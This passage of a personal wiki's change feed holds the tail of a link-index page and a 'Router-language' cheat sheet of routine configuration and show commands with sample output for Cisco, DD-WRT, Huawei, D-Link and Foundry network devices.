*'''[[Audacity]]''' ''Editing audio''&lt;br /&gt;
*'''[[skype]]''' ''Skype &amp;amp; VoIP''&lt;br /&gt;
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''&lt;br /&gt;
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''&lt;br /&gt;
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''&lt;br /&gt;
&lt;br /&gt;
===== Some Random Stuff =====&lt;br /&gt;
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''&lt;br /&gt;
*'''[[DB|i database multimediali]]'''&lt;br /&gt;
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''&lt;br /&gt;
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''&lt;br /&gt;
*'''[[OpenVPN]]'''&lt;br /&gt;
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''&lt;br /&gt;
*; Apple&lt;br /&gt;
**'''[[Mac]]''' ''OSx''&lt;br /&gt;
** '''[[MacDevices]]''' ''using Apple devices on linux''&lt;br /&gt;
**'''[[maclinux]]''' ''Linux su MacBook''&lt;br /&gt;
**'''[[once upon a time, there was an apple]]'''&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== The World Beyond IT==&lt;br /&gt;
{| border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
=== Robotics / Electtronic ===&lt;br /&gt;
* [[Propulsori Stepper]]&lt;br /&gt;
* [[Porta Parallela]]&lt;br /&gt;
* [[MicroControllori PIC]]&lt;br /&gt;
&lt;br /&gt;
=== Links: ===&lt;br /&gt;
&lt;br /&gt;
* http://foto.alessandrodelgallo.org  my photo gallery&lt;br /&gt;
* http://videoteeka.com my video gallery software ''(outdated)''&lt;br /&gt;
* http://www.youtube.com/user/porcelinux old YouTube channel&lt;br /&gt;
&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]&lt;br /&gt;
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
|width=&amp;quot;30%&amp;quot;|&lt;br /&gt;
{|&lt;br /&gt;
&lt;br /&gt;
=== Languages ===&lt;br /&gt;
* [[Italiano]]&lt;br /&gt;
** a wonderful dictionary http://www.wordreference.com/&lt;br /&gt;
** dizionario etimologico: http://www.etimo.it/&lt;br /&gt;
** dizionario italiano http://www.demauro.it/&lt;br /&gt;
* [[Spangolo]]&lt;br /&gt;
* [[English]]&lt;br /&gt;
* [[Olandese]]&lt;br /&gt;
** [[living in the nederlands|Living in the Netherlands]]&lt;br /&gt;
* [[Deutsch]]&lt;br /&gt;
** [[Living in Germany]]&lt;br /&gt;
&lt;br /&gt;
*; [[Documicate]] what is [[documication]] ?&lt;br /&gt;
&lt;br /&gt;
* [[NienteNadaNothing]]&lt;br /&gt;
|}&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you&lt;br /&gt;
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk&lt;br /&gt;
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6405</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6405"/>
		<updated>2022-06-23T16:02:33Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* DD-WRT */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 nvram show|grep &amp;lt;something&amp;gt;&lt;br /&gt;
 nvram show|grep ports&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing '''&amp;lt;something&amp;gt;'''&lt;br /&gt;
 for a in $(nvram show|grep &amp;lt;something&amp;gt;|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
# nvram commit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[edit] Port Attributes&lt;br /&gt;
&lt;br /&gt;
 0 or 1 to 15, or even 4096 This is the VLAN for the port. NOTE that due to the other attributes below, VLANs 16 to 21 are not supported!&lt;br /&gt;
 16 Tagged&lt;br /&gt;
 17 NOT Auto-Negotiate. (If #17 is off, you'll get 18, 19, and 21 on a gigabit switch)&lt;br /&gt;
 18 = NOT forced-100 MBit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
 19 = NOT Full-Duplex (either Auto-Negotiate is used, or Half-duplex is forced)&lt;br /&gt;
 20 = NOT Enabled (ie. disabled) &lt;br /&gt;
 21 = NOT forced-Gigabit (either Auto-Negotiate is used, or some other speed is forced)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
&lt;br /&gt;
 vlan#ports &lt;br /&gt;
    Each vlan is assigned one or more ports plus the CPU port. Default vlan and tagging also specified. &lt;br /&gt;
port#vlans &lt;br /&gt;
    Each port is assigned to one vlan (CPU to all vlans). Plus other per-port settings for speed, duplex, etc. &lt;br /&gt;
vlan#hwname &lt;br /&gt;
    Activates a vlan, ensuring it is properly initialized. &lt;br /&gt;
&lt;br /&gt;
*attributes&lt;br /&gt;
These are suffixes for the final CPU port number.&lt;br /&gt;
*&amp;quot;t&amp;quot; &lt;br /&gt;
    tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan. &lt;br /&gt;
*&amp;quot;u&amp;quot; &lt;br /&gt;
    used on WAN vlan, to ensure WAN traffic is untagged. &lt;br /&gt;
*&amp;quot;*&amp;quot; &lt;br /&gt;
    used on default LAN VLAN, untagged incoming traffic goes here. &lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
 [RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
 [RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== Save running config ===&lt;br /&gt;
 [Router] save&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 100          1.2.1.33   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 101          1.2.1.129  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 102          1.2.1.193  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 103          1.2.1.225  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 104          1.2.1.241  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 105          1.2.1.249  YES  NVRAM     up                     up      &lt;br /&gt;
Ve 106          1.2.1.17   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 111          1.2.1.65   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 112          1.2.1.81   YES  NVRAM     up                     up      &lt;br /&gt;
